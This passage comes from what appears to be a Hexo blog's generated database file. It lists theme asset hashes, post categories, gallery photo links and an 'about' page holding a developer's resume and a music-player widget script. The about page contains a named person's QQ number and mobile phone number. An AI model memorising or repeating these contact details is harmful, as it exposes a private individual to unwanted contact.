ial/source/css/prettify/atelier-seaside-dark.min.css","hash":"e0e6bbacc75a349b1e49c236d374b0e42f1fd485","modified":1517370288410},{"_id":"themes/material/source/css/prettify/atelier-seaside-light.min.css","hash":"732750b75389c1c49204f37705e6abeee40ce64f","modified":1517370288410},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-dark.min.css","hash":"015a35dddaee153fa8bb71d7f3818a6ba4d120d8","modified":1517370288410},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-light.min.css","hash":"ab1a6200eab648cab443c3df77fde9b237ef27b6","modified":1517370288410},{"_id":"themes/material/source/css/prettify/github-v2.min.css","hash":"57630621d20842a529bdea7b17fc90f520e562ef","modified":1517370288411},{"_id":"themes/material/source/css/prettify/github.min.css","hash":"19cf828225288fa5c006f1d8f66c39d11f4ef7f2","modified":1517370288411},{"_id":"themes/material/source/css/prettify/hemisu-dark.min.css","hash":"a671248cfd573292026d2174817e82e593691052","modified":1517370288411},{"_id":"themes/material/source/css/prettify/hemisu-light.min.css","hash":"b2556ff41e513fd13d032ec84a37ee260a905815","modified":1517370288412},{"_id":"themes/material/source/css/prettify/tomorrow-night-blue.min.css","hash":"c442728d96485bcf816151fe6bd96993aae09852","modified":1517370288412},{"_id":"themes/material/source/css/prettify/tomorrow-night-bright.min.css","hash":"cf251fd3edfd736695272a0f1b41d509b7bb1fb9","modified":1517370288412},{"_id":"themes/material/source/css/prettify/tomorrow-night-eighties.min.css","hash":"6ce259d674bb4edda23eea32b2379be17d0e0e6e","modified":1517370288413},{"_id":"themes/material/source/css/prettify/tomorrow-night.min.css","hash":"d989206d124035494acb4b0cdc7fbc89f3b7d108","modified":1517370288413},{"_id":"themes/material/source/css/prettify/tomorrow.min.css","hash":"b2c6d610b77f0273fefab5aa4ad26a7f58956f87","modified":1517370288413},{"_id":"themes/material/source/css/prettify/tranquil-heart.min.css","hash":"0f6eefbdda8e410832e9c516a5dd19899217ef06","modified":1517370288413},{"_id":"themes/material/source/css/prettify/vibrant-ink.min.css","hash":"c265bac6c31cf622b536b29c8a6bc46955d6fe63","modified":1517370288414},{"_id":"themes/material/source/fonts/FontAwesome.otf","hash":"048707bc52ac4b6563aaa383bfe8660a0ddc908c","modified":1517370288418},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.eot","hash":"26fb8cecb5512223277b4d290a24492a0f09ede1","modified":1517370288419},{"_id":"themes/material/source/fonts/fontawesome-webfont.eot","hash":"d980c2ce873dc43af460d4d572d441304499f400","modified":1517370288455},{"_id":"themes/material/source/fonts/fontawesome-webfont.ttf","hash":"13b1eab65a983c7a73bc7997c479d66943f7c6cb","modified":1517370288461},{"_id":"themes/material/source/img/footer/footer_ico-facebook.svg","hash":"74b3b3c6bd1d76b7eaaf75d36ac929b11a5a3e82","modified":1517370288466},{"_id":"themes/material/source/img/footer/footer_ico-github.svg","hash":"5f1f9f53e6a87ad674108c6bd16e424a1e888c61","modified":1517370288467},{"_id":"themes/material/source/img/footer/.DS_Store","hash":"df2fbeb1400acda0909a32c1cf6bf492f1121e07","modified":1517378008683},{"_id":"themes/material/source/img/footer/footer_ico-instagram.svg","hash":"294c511e62063ea49f61e23958ab27d643ba0228","modified":1517370288467},{"_id":"themes/material/source/img/footer/footer_ico-linkedin.svg","hash":"9831c86352ec5ff283a3277d033120f86388c277","modified":1517370288467},{"_id":"themes/material/source/img/footer/footer_ico-telegram.svg","hash":"413d66e40ca476deeb49364935d49d2f7839cdfd","modified":1517370288468},{"_id":"themes/material/source/img/footer/footer_ico-tumblr.svg","hash":"11daf4fa4220787306fc21a879429e98b7db8d03","modified":1517370288468},{"_id":"themes/material/source/img/footer/footer_ico-twitter.svg","hash":"58df7777d6fcee8fa3c42453c091714bb3f97c95","modified":1517370288469},{"_id":"themes/material/source/img/footer/footer_ico-v2ex.svg","hash":"c5ffaf67a97e534c266d1585a9a3b56f1bfe3052","modified":1517370288469},{"_id":"themes/material/source/img/footer/footer_ico-weibo.svg","hash":"26d0cdb77f0c4afd60111176167eacfa222bc4c1","modified":1517370288469},{"_id":"themes/material/source/img/footer/footer_ico-zhihu.svg","hash":"d3f8da320fffefc5144822665dfe17d25af4061c","modified":1517370288470},{"_id":"themes/material/source/img/footer/footer_ico-gplus.svg","hash":"b50274133ab263bcacdf729871d0446b615ac984","modified":1517370288467},{"_id":"themes/material/source/img/gallery/arrow.svg","hash":"144d73877e52acc5068bc0c9d1e69ef450e69f26","modified":1517370288470},{"_id":"themes/material/source/img/gallery/close.svg","hash":"2690088060811f01c9360df75be80070156ff176","modified":1517370288470},{"_id":"themes/material/source/img/gallery/spinner.svg","hash":"fc9d1cd1118ac896d4f5326e110a653f3ea32b11","modified":1517370288471},{"_id":"themes/material/source/img/footer/footer_ico-bilibili.svg","hash":"1a007ae30d69aa597f589edb4ee0638a9814c988","modified":1517370288466},{"_id":"themes/material/source/img/random/material-10.png","hash":"363466a376e4df9e61acc904cd25f3c7ae1a7280","modified":1517370288473},{"_id":"themes/material/source/img/random/.DS_Store","hash":"df2fbeb1400acda0909a32c1cf6bf492f1121e07","modified":1517377855302},{"_id":"themes/material/source/img/random/material-12.png","hash":"d020b3d42542715c7ae95b3d8603fe3180bfe8f3","modified":1517370288475},{"_id":"themes/material/source/img/random/material-17.png","hash":"ece82810e31f711576db598c845c3d97bd49fe67","modified":1517370288479},{"_id":"themes/material/source/img/random/material-19.png","hash":"768ed1a4966e2e418cb00f6b36d2fc9058328eb3","modified":1517370288480},{"_id":"themes/material/source/img/random/material-3.png","hash":"848eaa70b9b0cd7a2204c78e8aa324d8f96bb097","modified":1517370288482},{"_id":"themes/material/source/img/random/material-6.png","hash":"2f841e0c064fecb607ad1e149662a0c96d9e725d","modified":1517370288483},{"_id":"themes/material/source/img/random/material-8.png","hash":"57db542d526ef6866cb34e261096e93a0e6f3a82","modified":1517370288485},{"_id":"themes/material/source/img/random/material-9.png","hash":"840319c4d1f38fb8df79eb4669ed2e14d89fd680","modified":1517370288485},{"_id":"themes/material/source/img/random/material-4.png","hash":"b475dfbf67a076a4e17a5527fd1973b1d4adac07","modified":1517370288482},{"_id":"themes/material/source/js/gallery/gallery.js","hash":"8ee48312a183b42a9886211a0ec825ea0d041301","modified":1517370288488},{"_id":"themes/material/layout/_widget/comment/livere/common.ejs","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/valine/common.ejs","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288391},{"_id":"themes/material/source/img/random/material-1.png","hash":"4839299eaa4db7272befa7b824e54b647fbbfc44","modified":1517370288472},{"_id":"themes/material/source/img/random/material-11.png","hash":"ce20b0ad08a248c036115374f2edb7301ff60b72","modified":1517370288474},{"_id":"themes/material/source/img/random/material-13.png","hash":"1a8378db3121b583485e2b939cb1aa0e0b14b0c8","modified":1517370288476},{"_id":"themes/material/source/img/random/material-14.png","hash":"b4f65b601960138c69f57171b0ddd55895483f45","modified":1517370288477},{"_id":"themes/material/source/img/random/material-15.png","hash":"36b9937cf3810e4970902b78797ad29b0831f065","modified":1517370288477},{"_id":"themes/material/source/img/random/material-16.png","hash":"ade7f75200d3fb38326e3cf1e9f1a812fb12a43b","modified":1517370288478},{"_id":"themes/material/source/img/random/material-2.png","hash":"faba2ce69c19d6c1dac392dd10b054e0061f6fb7","modified":1517370288481},{"_id":"themes/material/source/img/random/material-18.png","hash":"4b98204abe36ecd3f30678d2c22059130e0db328","modified":1517370288480},{"_id":"themes/material/source/img/random/material-7.png","hash":"5c49ff3c064aaeb21227c2bd98b5ae422ddca84c","modified":1517370288484},{"_id":"themes/material/source/img/random/material-5.png","hash":"5041ebd073a139c67f8ed271e74c967c7eb9c5be","modified":1517370288483},{"_id":"themes/material/.git/logs/refs/heads/master","hash":"c88511a9d262d83c53ce9c60d74f2f66ef69f599","modified":1517370288356},{"_id":"themes/material/.git/refs/remotes/origin/canary","hash":"2ef1c9fa7627cc5cada9fe26923bcd9d6ac40534","modified":1527046792898},{"_id":"themes/material/.git/refs/remotes/origin/HEAD","hash":"d9427cda09aba1cdde5c69c2b13c905bddb0bc51","modified":1517370288352},{"_id":"themes/material/.git/objects/pack/pack-672eb9b05fbbba9095452025a35a9e1623c815b4.idx","hash":"33c1631588c11ba6c98e5ea813e56804dcbe0190","modified":1517370288323},{"_id":"themes/material/layout/_widget/comment/changyan/common.ejs","hash":"40e1fc76d6b7f64e226693fb2fe1a6bb17bae245","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/changyan/enter.ejs","hash":"e3cfb4f37ea35457f112f3e822e130c930086497","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/changyan/main.ejs","hash":"77539ff32cc9d1204b848e01b5277fff5cbd61e0","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/disqus/common.ejs","hash":"c11cfceb0906a96399dede5da01ff7fe4787f8a5","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/disqus/enter.ejs","hash":"39192034766349e47967da63184f9104fdded2ab","modified":1517370288387},{"_id":"themes/material/layout/_widget/comment/disqus/main.ejs","hash":"21e0eeff664191b818d7a0071ae7edcdfc270442","modified":1517370288387},{"_id":"themes/material/layout/_widget/comment/disqus_click/common.ejs","hash":"d243f576b366a62191066459efcc6fd0ab79d00a","modified":1517370288387},{"_id":"themes/material/layout/_widget/comment/disqus_click/enter.ejs","hash":"d82f0296f8bae25223ec44e6e05b817d3a234884","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/disqus_click/main.ejs","hash":"f53de208ca46c669a868a1922488e39509c6fe3b","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/gitalk/common.ejs","hash":"f739897518011e1b3de7807c8c5d734984711282","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/gitalk/enter.ejs","hash":"4d70d76465469a57def29a221962a5520fb34ebe","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/gitalk/main.ejs","hash":"1ee7a7b2b9b5ae8c4fa8c4b09c7973b9e085bdf2","modified":1517370288389},{"_id":"themes/material/layout/_widget/comment/gitment/common.ejs","hash":"9c6c8d1b448c32afb01c2d0351e87f4d4a17ec3c","modified":1517370288389},{"_id":"themes/material/layout/_widget/comment/gitment/enter.ejs","hash":"46d904fde9233694b95c6a3d91b9a2b7a6805850","modified":1517370288389},{"_id":"themes/material/layout/_widget/comment/gitment/main.ejs","hash":"e622660eda38cda05847aadc2a3e31a228fc519b","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/livere/enter.ejs","hash":"194b7bb581a3b8608a7ab135b6953d7908f51cc8","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/livere/main.ejs","hash":"1c4be9ba104a8cbcc11d45f11bf8cfe7704b93a5","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/valine/enter.ejs","hash":"ab528aad46237d9e7f1c5b4b2b310dd628b2de63","modified":1517370288391},{"_id":"themes/material/layout/_widget/comment/valine/main.ejs","hash":"3d5d8559e6ad4ffb58a61d96439b2718eb9999b6","modified":1517370288391},{"_id":"themes/material/.git/logs/refs/remotes/origin/HEAD","hash":"c88511a9d262d83c53ce9c60d74f2f66ef69f599","modified":1517370288352},{"_id":"themes/material/.git/logs/refs/remotes/origin/canary","hash":"d9f89cea71a5c0a36219ecf4f60af0347c714516","modified":1527046792899},{"_id":"themes/material/source/fonts/fontawesome-webfont.svg","hash":"98a8aa5cf7d62c2eff5f07ede8d844b874ef06ed","modified":1517370288459},{"_id":"themes/material/source/fonts/Roboto-Black.ttf","hash":"0244e6497a51fb8a38ca7e6fe297b066e2e09af5","modified":1517370288427},{"_id":"themes/material/source/fonts/Roboto-Light.ttf","hash":"b9ea2eaf26ff8fdcb5aee3e0c2c7a6084ebb6aac","modified":1517370288437},{"_id":"themes/material/source/fonts/Roboto-Bold.ttf","hash":"d1864343b543978bd491d40c80010cea50c1b7bf","modified":1517370288432},{"_id":"themes/material/source/fonts/Roboto-Medium.ttf","hash":"3965419aab480c184f66bc5e39c1719a373a4ef6","modified":1517370288442},{"_id":"themes/material/source/fonts/Roboto-Regular.ttf","hash":"06691e103d4d3ce1f1108d9b7d21254b714a41f8","modified":1517370288447},{"_id":"themes/material/source/fonts/Roboto-Thin.ttf","hash":"ed5101c3a800f35e925603a406e0c2dc5278b96c","modified":1517370288452},{"_id":"themes/material/source/img/avatar.png","hash":"5ac95a1c27dc32a311bc937aa699f457d4ec0c00","modified":1497518020000},{"_id":"themes/material/.git/objects/pack/pack-672eb9b05fbbba9095452025a35a9e1623c815b4.pack","hash":"f7b955c6234fef98f282411c65f0f29425ad10fb","modified":1517370288320}],"Category":[{"name":"音乐","_id":"cjhiu2y2z0004vzqh0677nevh"},{"name":"版本管理","_id":"cjhiu2y3w000bvzqh1q2cw49c"},{"name":"web前端","_id":"cjhiu2y4f000ivzqhgk3rc015"},{"name":"JS","_id":"cjhiu2y4w000tvzqh9jcy8ixq"},{"name":"本地储存","_id":"cjhiu2y51000zvzqh8av1zfga"},{"name":"CSS","_id":"cjhiu2y560017vzqhb9euinnl"},{"name":"HTML","_id":"cjhiu2y5a001evzqhbqd2lref"},{"name":"APP","_id":"cjhiu2y5h001lvzqh0lka6dsg"},{"name":"博客搭建","_id":"cjhiu2y5k001qvzqh16jdyeqd"},{"name":"nodeJS","_id":"cjhiu2y5o001yvzqhhrgyfoeo"},{"name":"代理","_id":"cjhiu2y5x002hvzqh38b5k9w1"},{"name":"数据库","_id":"cjhiu2y65002uvzqhqy41m590"},{"name":"storage","_id":"cjhiu2y6c0037vzqhcc9m7clf"},{"name":"生活","_id":"cjhiu2y6g003gvzqh4212ugm1"},{"name":"服务器","_id":"cjhiu2y6k003nvzqhm5n7oimd"},{"name":"web项目","_id":"cjhiu2y6o003uvzqhw57whtpz"},{"name":"IDE","_id":"cjhiu2y6s0040vzqh8meh1b45"},{"name":"vue","_id":"cjhiu2y70004gvzqhxv0ow0jk"},{"name":"安全","_id":"cjhiu2y7o005mvzqh7csvrpz5"},{"name":"阅读","_id":"cjhiu2y7p005rvzqh2fwxn7ja"}],"Data":[{"_id":"links","data":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}}},{"_id":"gallery","data":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}],"Page":[{"title":"个人简介","date":"2017-06-15T11:12:44.000Z","_content":"\n姓名：江志雄\n性别：你猜\n专业：软件工程\n\n### 工作经历\n* 南昌·午逅科技\n\n    任务职责：完成移动端 H5 页面开发\n\n    工作目的：还原设计师给的设计稿，调整兼容性问题\n    > 2017.06 -- 2017.09\n\n* 杭州·机蜜\n    任务职责：前端业务，公共工具开发\n    > 2017.10 -- 至今\n\n### 个人作品\n* [vue仿QQ音乐](https://github.com/j710328466/vue-qqmusic)\n* [水灵](http://jzxer.cn/water/)\n* 微信小程序：蛋糕定制demo（未完成。。。）\n\n### 技术栈\n前端\n* Vuejs React \n* JavaScript(ES5 ES6) \n* HTML5 CSS/CSS3  \n* SASS(SCSS)\n* 熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)\n\n后端\n* Nodejs(ExpressJS,KoaJS)\n\n数据库\n* MongoDB\n\n自动化构建\n* webpack gulp parcel\n\n版本管理\n* GIT SVN\n\n目前学习计划\n> 基于vue的SSR框架nuxt\n> nodeJS / koa2\n\n### 兴趣爱好\n> 看书 \n> 健身\n> 摇滚乐 (靠 “谱”)\n\n### 自我介绍\n本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)\n* tag \n> 行动派: 认准一件事就会全力以赴,不达目的不罢休\n> 艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧\n### 联系方式\n> qq: 710328466\n> tel: 15216030330(中午和晚上一般都关机，我要睡觉...)\n> [blog](http://blog.jzxer.cn/)\n\n{% aplayer \"初学者\" \"薛之谦\" \"http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3\" \"autoplay\" %}\n","source":"about/index.md","raw":"---\ntitle: 个人简介\ndate: 2017-06-15 19:12:44\n---\n\n姓名：江志雄\n性别：你猜\n专业：软件工程\n\n### 工作经历\n* 南昌·午逅科技\n\n    任务职责：完成移动端 H5 页面开发\n\n    工作目的：还原设计师给的设计稿，调整兼容性问题\n    > 2017.06 -- 2017.09\n\n* 杭州·机蜜\n    任务职责：前端业务，公共工具开发\n    > 2017.10 -- 至今\n\n### 个人作品\n* [vue仿QQ音乐](https://github.com/j710328466/vue-qqmusic)\n* [水灵](http://jzxer.cn/water/)\n* 微信小程序：蛋糕定制demo（未完成。。。）\n\n### 技术栈\n前端\n* Vuejs React \n* JavaScript(ES5 ES6) \n* HTML5 CSS/CSS3  \n* SASS(SCSS)\n* 熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)\n\n后端\n* Nodejs(ExpressJS,KoaJS)\n\n数据库\n* MongoDB\n\n自动化构建\n* webpack gulp parcel\n\n版本管理\n* GIT SVN\n\n目前学习计划\n> 基于vue的SSR框架nuxt\n> nodeJS / koa2\n\n### 兴趣爱好\n> 看书 \n> 健身\n> 摇滚乐 (靠 “谱”)\n\n### 自我介绍\n本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)\n* tag \n> 行动派: 认准一件事就会全力以赴,不达目的不罢休\n> 艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧\n### 联系方式\n> qq: 710328466\n> tel: 15216030330(中午和晚上一般都关机，我要睡觉...)\n> [blog](http://blog.jzxer.cn/)\n\n{% aplayer \"初学者\" \"薛之谦\" \"http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3\" \"autoplay\" %}\n","updated":"2018-01-25T11:56:44.000Z","path":"about/index.html","comments":1,"layout":"page","_id":"cjhiu2y2f0001vzqhrvlfsd6c","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>姓名：江志雄<br>性别：你猜<br>专业：软件工程</p>\n<h3 id=\"工作经历\"><a href=\"#工作经历\" class=\"headerlink\" title=\"工作经历\"></a>工作经历</h3><ul>\n<li><p>南昌·午逅科技</p>\n<p>  任务职责：完成移动端 H5 页面开发</p>\n<p>  工作目的：还原设计师给的设计稿，调整兼容性问题</p>\n<blockquote>\n<p>2017.06 – 2017.09</p>\n</blockquote>\n</li>\n<li><p>杭州·机蜜<br>  任务职责：前端业务，公共工具开发</p>\n<blockquote>\n<p>2017.10 – 至今</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"个人作品\"><a href=\"#个人作品\" class=\"headerlink\" title=\"个人作品\"></a>个人作品</h3><ul>\n<li><a href=\"https://github.com/j710328466/vue-qqmusic\" target=\"_blank\" rel=\"noopener\">vue仿QQ音乐</a></li>\n<li><a href=\"http://jzxer.cn/water/\" target=\"_blank\" rel=\"noopener\">水灵</a></li>\n<li>微信小程序：蛋糕定制demo（未完成。。。）</li>\n</ul>\n<h3 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"技术栈\"></a>技术栈</h3><p>前端</p>\n<ul>\n<li>Vuejs React </li>\n<li>JavaScript(ES5 ES6) </li>\n<li>HTML5 CSS/CSS3  </li>\n<li>SASS(SCSS)</li>\n<li>熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)</li>\n</ul>\n<p>后端</p>\n<ul>\n<li>Nodejs(ExpressJS,KoaJS)</li>\n</ul>\n<p>数据库</p>\n<ul>\n<li>MongoDB</li>\n</ul>\n<p>自动化构建</p>\n<ul>\n<li>webpack gulp parcel</li>\n</ul>\n<p>版本管理</p>\n<ul>\n<li>GIT SVN</li>\n</ul>\n<p>目前学习计划</p>\n<blockquote>\n<p>基于vue的SSR框架nuxt<br>nodeJS / koa2</p>\n</blockquote>\n<h3 id=\"兴趣爱好\"><a href=\"#兴趣爱好\" class=\"headerlink\" title=\"兴趣爱好\"></a>兴趣爱好</h3><blockquote>\n<p>看书<br>健身<br>摇滚乐 (靠 “谱”)</p>\n</blockquote>\n<h3 id=\"自我介绍\"><a href=\"#自我介绍\" class=\"headerlink\" title=\"自我介绍\"></a>自我介绍</h3><p>本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)</p>\n<ul>\n<li>tag <blockquote>\n<p>行动派: 认准一件事就会全力以赴,不达目的不罢休<br>艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧</p>\n</blockquote>\n<h3 id=\"联系方式\"><a href=\"#联系方式\" class=\"headerlink\" title=\"联系方式\"></a>联系方式</h3><blockquote>\n<p>qq: 710328466<br>tel: 15216030330(中午和晚上一般都关机，我要睡觉…)<br><a href=\"http://blog.jzxer.cn/\">blog</a></p>\n</blockquote>\n</li>\n</ul>\n\n        <div id=\"aplayer-utlCkfDz\" class=\"aplayer aplayer-tag-marker\" style=\"margin-bottom: 20px;\">\n            <pre class=\"aplayer-lrc-content\"></pre>\n        </div>\n        <script>\n          var ap = new APlayer({\n            element: document.getElementById(\"aplayer-utlCkfDz\"),\n            narrow: false,\n            autoplay: true,\n            showlrc: false,\n            music: {\n              title: \"初学者\",\n              author: \"薛之谦\",\n              url: \"http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3\",\n              pic: \"\",\n              lrc: \"\"\n            }\n          });\n          window.aplayers || (window.aplayers = []);\n          window.aplayers.push(ap);\n        </script>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠